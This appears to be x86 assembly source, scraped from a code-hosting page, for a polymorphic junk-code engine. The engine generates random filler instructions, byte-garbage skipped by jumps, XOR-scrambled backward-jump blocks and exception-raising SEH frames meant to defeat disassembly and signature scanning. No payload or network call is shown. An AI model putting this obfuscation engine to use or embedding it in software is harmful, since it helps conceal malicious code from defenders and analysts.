db 0fdh, NO_M, 1h, C_NONE ; std
|
||||
db 09bh, NO_M, 1h, C_NONE ; wait
|
||||
db 050h, NO_M, 1h, C_SRC ; push reg(eax)
|
||||
_i_pop db 058h, NO_M, 1h, C_SRC ; pop reg(eax) (must be last one)
|
||||
ENTRY_TABLE_SIZE = 4
|
||||
instr_table_size = (($-offset instr_table)/4)
|
||||
|
||||
dd 0
|
||||
push_number dd 0
|
||||
do_push db 1 ; should we process pushs?
|
||||
|
||||
O_JMP equ 0EBh
|
||||
O_PUSH equ 050h
|
||||
O_POP equ 058h
|
||||
i_jmp: db 0EBh, NO_M, 2h ; jmp $+1
|
||||
|
||||
|
||||
|
||||
; -------------- GARBAGE GENERATOR (SAFE) ------------------------------------
|
||||
; EDI = where
|
||||
; ----------------------------------------------------------------------------
|
||||
|
||||
gen_garbage_i:
|
||||
|
||||
pushad
|
||||
garbage_again:
|
||||
mov eax,instr_table_size
|
||||
call random_eax
|
||||
|
||||
lea esi,instr_table
|
||||
mov ecx,ENTRY_TABLE_SIZE
|
||||
mul ecx ; eax=member from table to use
|
||||
add esi,eax
|
||||
jmp garbage_co
|
||||
|
||||
garbage_hand: pushad
|
||||
garbage_co: lodsw ; ah = modrm value / al=opcode
|
||||
cmp ah,NO_M
|
||||
je no_modrm
|
||||
stosb ; store opcode
|
||||
xor edx,edx
|
||||
mov dl,ah
|
||||
cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
|
||||
je p_01
|
||||
cmp byte ptr [esi+1],C_SRC
|
||||
jne t_01
|
||||
|
||||
p_01: and dl,0F8h
|
||||
mov eax,x1_tbl_size
|
||||
call random_eax
|
||||
mov al,byte ptr [allowed_regs[eax]]
|
||||
mov al,byte ptr [x1_table[eax]]
|
||||
or dl,al
|
||||
mov byte ptr [edi],dl
|
||||
|
||||
t_01: cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
|
||||
je p_02
|
||||
cmp byte ptr [esi+1],C_DST
|
||||
jne finish_i
|
||||
|
||||
p_02: and dl,0C7h
|
||||
mov eax,x2_tbl_size
|
||||
call random_eax
|
||||
mov al,byte ptr [allowed_regs[eax]]
|
||||
mov al,byte ptr [x2_table[eax]]
|
||||
or dl,al ; update modrm value
|
||||
mov byte ptr [edi],dl
|
||||
|
||||
finish_i: mov cl,byte ptr [esi]
|
||||
sub cl,2
|
||||
inc edi
|
||||
cmp cl,0
|
||||
jle garbage_done
|
||||
|
||||
store_op: mov eax,12345678h
|
||||
call random_eax
|
||||
stosb
|
||||
loop store_op
|
||||
|
||||
|
||||
garbage_done: xor eax,eax
|
||||
mov al,byte ptr [esi]
|
||||
mov [esp+PUSHA_STRUCT._EAX],eax
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
; ----------------------------------------------------
|
||||
; NO MOD-RMs
|
||||
; ----------------------------------------------------
|
||||
|
||||
|
||||
no_modrm: xor edx,edx
|
||||
mov dl,al
|
||||
|
||||
cmp byte ptr [esi+1],C_NONE
|
||||
je t_none
|
||||
cmp dl,O_PUSH
|
||||
je t_push
|
||||
cmp dl,O_POP
|
||||
je t_pop
|
||||
|
||||
|
||||
go_nomodrm: mov eax,x1_tbl_size
|
||||
call random_eax
|
||||
mov al,byte ptr [allowed_regs[eax]]
|
||||
mov al,byte ptr [x1_table[eax]]
|
||||
and dl,0F8h
|
||||
or dl,al
|
||||
mov byte ptr [edi],dl
|
||||
inc edi
|
||||
jmp finish_i
|
||||
|
||||
t_none: mov byte ptr [edi],dl
|
||||
inc edi
|
||||
cmp dl,O_JMP
|
||||
jne finish_i
|
||||
mov byte ptr [edi],0
|
||||
inc edi
|
||||
jmp finish_i
|
||||
|
||||
t_push: cmp byte ptr [do_push],1
|
||||
jne garbage_again
|
||||
inc dword ptr [push_number]
|
||||
jmp go_nomodrm
|
||||
|
||||
t_pop: cmp byte ptr [do_push],1
|
||||
jne garbage_again
|
||||
|
||||
cmp dword ptr [push_number],0
|
||||
jle garbage_again
|
||||
|
||||
dec dword ptr [push_number]
|
||||
jmp go_nomodrm
|
||||
|
||||
|
||||
|
||||
t_normalize_pops:
|
||||
|
||||
pushad
|
||||
xor ebx,ebx
|
||||
mov ecx,dword ptr [push_number]
|
||||
test ecx,ecx
|
||||
jz t_opsexit
|
||||
|
||||
|
||||
t_givepops: lea esi,_i_pop
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add ebx,eax
|
||||
loop t_givepops
|
||||
|
||||
t_opsexit: mov [esp+PUSHA_STRUCT._EAX],ebx
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; HARDCORE GARBAGER
|
||||
; ---------------------------------------------------------------------------
|
||||
; EDI = where to store
|
||||
;
|
||||
; This one generates code like this:
|
||||
; jmp over_garbage
|
||||
; <totaly random generated garbage>
|
||||
; <normal garbage>
|
||||
; max: up to 20 "instructions"
|
||||
; ---------------------------------------------------------------------------
|
||||
|
||||
hardcode_garbage_i:
|
||||
|
||||
pushad
|
||||
mov ebx,edi
|
||||
lea edi,hardcore_temp
|
||||
mov eax,20
|
||||
call random_eax
|
||||
mov ecx,eax
|
||||
add ecx,4
|
||||
|
||||
h_fill: mov eax,2
|
||||
call random_eax
|
||||
test eax,eax
|
||||
jnz h_hard
|
||||
call gen_garbage_i
|
||||
jmp h_cont
|
||||
|
||||
h_hard: mov eax,5
|
||||
call random_eax
|
||||
mov edx,eax
|
||||
inc edx
|
||||
xor esi,esi
|
||||
|
||||
h_hard_fill: mov eax,0FFFFh
|
||||
call random_eax
|
||||
stosb
|
||||
inc esi
|
||||
dec edx
|
||||
jnz h_hard_fill
|
||||
loop h_fill
|
||||
jmp h_done
|
||||
|
||||
h_cont: add edi,eax
|
||||
loop h_fill
|
||||
|
||||
h_done: lea ecx,hardcore_temp
|
||||
sub edi,ecx
|
||||
mov ecx,edi
|
||||
|
||||
mov byte ptr [ebx],O_JMP
|
||||
inc ebx
|
||||
mov byte ptr [ebx],cl
|
||||
inc ebx
|
||||
|
||||
push ecx
|
||||
mov edi,ebx
|
||||
lea esi,hardcore_temp
|
||||
rep movsb
|
||||
pop eax
|
||||
add eax,2
|
||||
|
||||
mov [esp+PUSHA_STRUCT._EAX],eax
|
||||
popad
|
||||
ret
|
||||
|
||||
; -------------------------------------------------------------
|
||||
; Generates backwards jumps
|
||||
; -------------------------------------------------------------
|
||||
; EDI = buffor
|
||||
|
||||
gen_bjumps:
|
||||
|
||||
pushad
|
||||
mov ebx,edi
|
||||
mov byte ptr [jmp_flag],0
|
||||
mov byte ptr [jmp_flag_b],0
|
||||
mov dword ptr [count_jmp],0
|
||||
mov dword ptr [where_where],0
|
||||
mov dword ptr [jmp_bytes],0
|
||||
mov byte ptr [do_push],0
|
||||
mov byte ptr [where_losed],0
|
||||
|
||||
mov byte ptr [ebx],O_JMP
|
||||
mov dword ptr [where_start],ebx
|
||||
add dword ptr [where_start],2
|
||||
inc ebx
|
||||
|
||||
xor esi,esi
|
||||
add edi,2
|
||||
add dword ptr [jmp_bytes],2
|
||||
|
||||
gen_gar_i: mov eax,20
|
||||
call random_eax
|
||||
mov ecx,eax
|
||||
add ecx,10
|
||||
|
||||
gen_gar_ii: call gen_garbage_i
|
||||
add dword ptr [jmp_bytes],eax
|
||||
add esi,eax
|
||||
add edi,eax
|
||||
cmp byte ptr [jmp_flag],1
|
||||
jne gen_gari_ix
|
||||
add dword ptr [count_jmp],eax
|
||||
jmp gen_gari_ixx
|
||||
|
||||
gen_gari_ix: push eax
|
||||
mov eax,2
|
||||
call random_eax
|
||||
mov edx,eax
|
||||
pop eax
|
||||
cmp byte ptr [where_losed],1
|
||||
je gen_gari_ixx
|
||||
add dword ptr [where_start],eax
|
||||
cmp edx,1
|
||||
je gen_gari_ixx
|
||||
mov byte ptr [where_losed],1
|
||||
|
||||
gen_gari_ixx: mov eax,3
|
||||
call random_eax
|
||||
cmp eax,2
|
||||
jne cont_gari
|
||||
cmp byte ptr [jmp_flag],1
|
||||
je cont_gari
|
||||
mov byte ptr [jmp_flag],1
|
||||
mov byte ptr [edi],O_JMP
|
||||
inc edi
|
||||
mov dword ptr [where_jmp],edi
|
||||
inc edi
|
||||
add esi,2
|
||||
|
||||
cont_gari: loop gen_gar_ii
|
||||
mov eax,esi
|
||||
mov byte ptr [ebx],al
|
||||
cmp byte ptr [jmp_flag],1
|
||||
je cont_gari2
|
||||
mov byte ptr [edi],O_JMP
|
||||
inc edi
|
||||
mov dword ptr [where_jmp],edi
|
||||
inc edi
|
||||
|
||||
cont_gari2: mov dword ptr [where_where],edi
|
||||
add dword ptr [jmp_bytes],2
|
||||
mov eax,5
|
||||
call random_eax
|
||||
inc eax
|
||||
mov ecx,eax
|
||||
|
||||
cont_gari3: call gen_garbage_i
|
||||
add dword ptr [jmp_bytes],eax
|
||||
add edi,eax
|
||||
add dword ptr [count_jmp],eax
|
||||
loop cont_gari3
|
||||
mov byte ptr [edi],O_JMP
|
||||
mov eax,edi
|
||||
sub eax,dword ptr [where_start]
|
||||
add eax,2
|
||||
neg eax
|
||||
|
||||
pushad
|
||||
add edi,2
|
||||
mov eax,4
|
||||
call random_eax
|
||||
mov ecx,eax
|
||||
test ecx,ecx
|
||||
jz cont_gari4
|
||||
|
||||
place_gar: mov eax,0FFh
|
||||
call random_eax
|
||||
inc dword ptr [count_jmp]
|
||||
inc dword ptr [jmp_bytes]
|
||||
stosb
|
||||
loop place_gar
|
||||
|
||||
|
||||
cont_gari4: add dword ptr [count_jmp],2
|
||||
mov eax,dword ptr [count_jmp]
|
||||
mov edx,dword ptr [where_jmp]
|
||||
mov byte ptr [edx],al
|
||||
popad
|
||||
mov byte ptr [edi+1],al
|
||||
add dword ptr [jmp_bytes],2
|
||||
mov edx,dword ptr [where_where]
|
||||
sub edx,dword ptr [where_jmp]
|
||||
dec edx
|
||||
mov ecx,edx
|
||||
mov edx,dword ptr [where_jmp]
|
||||
inc edx
|
||||
cmp ecx,0
|
||||
jle cont_no_xor
|
||||
|
||||
cont_xor: mov eax,0FFh
|
||||
call random_eax
|
||||
xor byte ptr [edx],al
|
||||
inc edx
|
||||
loop cont_xor
|
||||
|
||||
cont_no_xor: mov byte ptr [do_push],1
|
||||
mov edx,dword ptr [jmp_bytes]
|
||||
mov [esp+PUSHA_STRUCT._EAX],edx
|
||||
popad
|
||||
ret
|
||||
|
||||
jmp_bytes dd 0
|
||||
where_losed db 0
|
||||
where_where dd 0
|
||||
where_start dd 0
|
||||
count_jmp dd 0
|
||||
where_jmp dd 0
|
||||
jmp_flag db 0
|
||||
jmp_flag_b db 0
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
; -------------------------------------------------------------
|
||||
; Generates SEH frames/exceptions/etc.
|
||||
; -------------------------------------------------------------
|
||||
; EDI = buffor
|
||||
|
||||
|
||||
FS_PREFIX equ 064h
|
||||
seh_push_fs db 0ffh, 030h, 2h, C_SRC
|
||||
seh_mov_fs db 089h, 020h, 2h, C_SRC
|
||||
seh_pop_fs db 08fh, 000h, 2h, C_SRC
|
||||
|
||||
_mov_reg_esp db 08bh, 0c4h, 2h, C_DST ; mov reg,ESP
|
||||
_add_reg_num db 081h, 0c0h, 2h, C_SRC ; add reg,NUM (we must typo NUM by hand: 4) LEN=6
|
||||
_mov_reg_oreg db 08bh, 000h, 2h, C_BOTH ; mov reg,[REG]
|
||||
_mov_dreg_num db 0c7h, 080h, 2h, C_SRC ; mov [reg+NUM],0 (add NUM by hand) LEN: A
|
||||
_add_dreg_num db 081h, 080h, 2h, C_SRC
|
||||
|
||||
exception_table:
|
||||
db 0CCh ; int 3
|
||||
db 0fah ; cli
|
||||
db 0fbh ; sti
|
||||
exception_table_size = $-offset exception_table
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
gen_seh:
|
||||
pushad
|
||||
xor edx,edx
|
||||
mov ebx,edi
|
||||
mov byte ptr [edi],0E8h
|
||||
mov dword ptr [edi+1],0
|
||||
add edx,5
|
||||
add edi,5
|
||||
push edi
|
||||
lea esi,allowed_regs
|
||||
mov ecx,x1_tbl_size
|
||||
push esi
|
||||
push ecx
|
||||
lea edi,allowed_regs_temp
|
||||
rep movsb
|
||||
pop ecx
|
||||
pop edi
|
||||
|
||||
pushad
|
||||
mov eax,x1_tbl_size
|
||||
call random_eax
|
||||
cmp eax,M0_EAX
|
||||
jne reg_p
|
||||
inc eax ; somehow :) EAX usage results with invalid disposition error
|
||||
|
||||
reg_p: rep stosb
|
||||
mov edi,[esp+PUSHA_STRUCT_SIZE]
|
||||
lea esi,_mov_reg_esp
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
|
||||
add [esp+PUSHA_STRUCT_SIZE],eax
|
||||
add edi,eax
|
||||
lea esi,_add_reg_num
|
||||
call garbage_hand
|
||||
add edi,2
|
||||
mov dword ptr [edi],0Ch
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],6
|
||||
add [esp+PUSHA_STRUCT_SIZE],6
|
||||
add edi,4
|
||||
lea esi,_mov_reg_oreg
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
|
||||
add [esp+PUSHA_STRUCT_SIZE],eax
|
||||
add edi,eax
|
||||
lea esi,_mov_dreg_num
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||
add edi,2
|
||||
mov dword ptr [edi],04h
|
||||
mov dword ptr [edi+4],0h
|
||||
add edi,0ah-2
|
||||
lea esi,_mov_dreg_num
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||
add edi,2
|
||||
mov dword ptr [edi],08h
|
||||
mov dword ptr [edi+4],0h
|
||||
add edi,0ah-2
|
||||
lea esi,_mov_dreg_num
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||
add edi,2
|
||||
mov dword ptr [edi],12h
|
||||
mov dword ptr [edi+4],0h
|
||||
add edi,0ah-2
|
||||
lea esi,_mov_dreg_num
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||
add edi,2
|
||||
mov dword ptr [edi],16h
|
||||
mov dword ptr [edi+4],0h
|
||||
add edi,0ah-2
|
||||
lea esi,_add_dreg_num
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+1
|
||||
add [esp+PUSHA_STRUCT_SIZE],0ah+1
|
||||
add edi,2
|
||||
mov dword ptr [edi],0b8h
|
||||
add edi,4
|
||||
mov dword ptr [where_over],edi
|
||||
add edi,0ah-6
|
||||
mov byte ptr [edi],0C3h ; ret
|
||||
inc edi
|
||||
popad
|
||||
mov byte ptr [ebx+1],dl
|
||||
sub byte ptr [ebx+1],5
|
||||
mov eax,x1_tbl_size
|
||||
call random_eax
|
||||
rep stosb
|
||||
pop edi
|
||||
lea esi,_i_xor_r
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add edx,eax
|
||||
mov byte ptr [edi],FS_PREFIX
|
||||
inc edi
|
||||
inc edx
|
||||
lea esi,seh_push_fs
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add edx,eax
|
||||
mov byte ptr [edi],FS_PREFIX
|
||||
inc edi
|
||||
inc edx
|
||||
lea esi,seh_mov_fs
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add edx,eax
|
||||
call reset_regs
|
||||
xor ebx,ebx
|
||||
mov eax,exception_table_size
|
||||
call random_eax
|
||||
mov cl,byte ptr exception_table[eax]
|
||||
mov byte ptr [edi],cl
|
||||
inc edx
|
||||
inc edi
|
||||
inc ebx
|
||||
call fill_trash
|
||||
add edx,eax
|
||||
add ebx,eax
|
||||
add edi,eax
|
||||
push edi
|
||||
mov edi,dword ptr [where_over]
|
||||
mov dword ptr [edi],ebx
|
||||
pop edi
|
||||
call finalize_seh
|
||||
add edx,eax
|
||||
mov [esp+PUSHA_STRUCT._EAX],edx
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
|
||||
where_over dd 0
|
||||
allowed_regs_temp db x1_tbl_size dup (0)
|
||||
|
||||
|
||||
|
||||
|
||||
finalize_seh:
|
||||
pushad
|
||||
call gen_regs
|
||||
xor edx,edx
|
||||
lea esi,_i_xor_r
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add edx,eax
|
||||
mov byte ptr [edi],FS_PREFIX
|
||||
inc edi
|
||||
inc edx
|
||||
lea esi,seh_pop_fs
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add edx,eax
|
||||
call reset_regs
|
||||
inc dword ptr [push_number]
|
||||
lea esi,_i_pop
|
||||
call garbage_hand
|
||||
add edx,eax
|
||||
add edi,eax
|
||||
mov [esp+PUSHA_STRUCT._EAX],edx
|
||||
popad
|
||||
ret
|
||||
|
||||
fill_trash: pushad
|
||||
xor ebx,ebx
|
||||
mov eax,20
|
||||
call random_eax
|
||||
mov ecx,eax
|
||||
test eax,eax
|
||||
jz done_fill_trash
|
||||
|
||||
fill_trash_x: mov eax,0FFh
|
||||
call random_eax
|
||||
stosb
|
||||
inc ebx
|
||||
loop fill_trash_x
|
||||
|
||||
done_fill_trash:
|
||||
mov [esp+PUSHA_STRUCT._EAX],ebx
|
||||
popad
|
||||
ret
|
||||
|
||||
reset_regs:
|
||||
pushad
|
||||
lea esi,allowed_regs_temp
|
||||
mov ecx,x1_tbl_size
|
||||
lea edi,allowed_regs
|
||||
rep movsb
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
gen_regs: pushad
|
||||
mov eax,x1_tbl_size
|
||||
call random_eax
|
||||
lea edi,allowed_regs
|
||||
mov ecx,x1_tbl_size
|
||||
rep stosb
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
set_random: pushad
|
||||
mov eax,6
|
||||
call random_eax
|
||||
cmp eax,5
|
||||
jne not_set
|
||||
call gen_bjumps
|
||||
jmp le_set
|
||||
|
||||
not_set: xor eax,eax
|
||||
le_set: mov [esp+PUSHA_STRUCT._EAX],eax
|
||||
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
random_setup proc
|
||||
|
||||
@callx GetTickCount
|
||||
mov Random_Seed,eax
|
||||
ret
|
||||
|
||||
random_setup endp
|
||||
|
||||
Random_Seed dd 0
|
||||
|
||||
random_eax proc
|
||||
|
||||
PUSH ECX
|
||||
PUSH EDX
|
||||
PUSH EAX
|
||||
db 0Fh, 31h ; RDTSC
|
||||
MOV ECX, Random_Seed
|
||||
ADD EAX, ECX
|
||||
ROL ECX, 1
|
||||
ADD ECX, 666h
|
||||
MOV Random_Seed, ECX
|
||||
PUSH 32
|
||||
POP ECX
|
||||
|
||||
CRC_Bit: SHR EAX, 1
|
||||
JNC Loop_CRC_Bit
|
||||
XOR EAX, 0EDB88320h
|
||||
|
||||
Loop_CRC_Bit: LOOP CRC_Bit
|
||||
POP ECX
|
||||
XOR EDX, EDX
|
||||
DIV ECX
|
||||
XCHG EDX, EAX
|
||||
OR EAX, EAX
|
||||
POP EDX
|
||||
POP ECX
|
||||
RETN
|
||||
random_eax endp
|
Loading…
Reference in New Issue
Block a user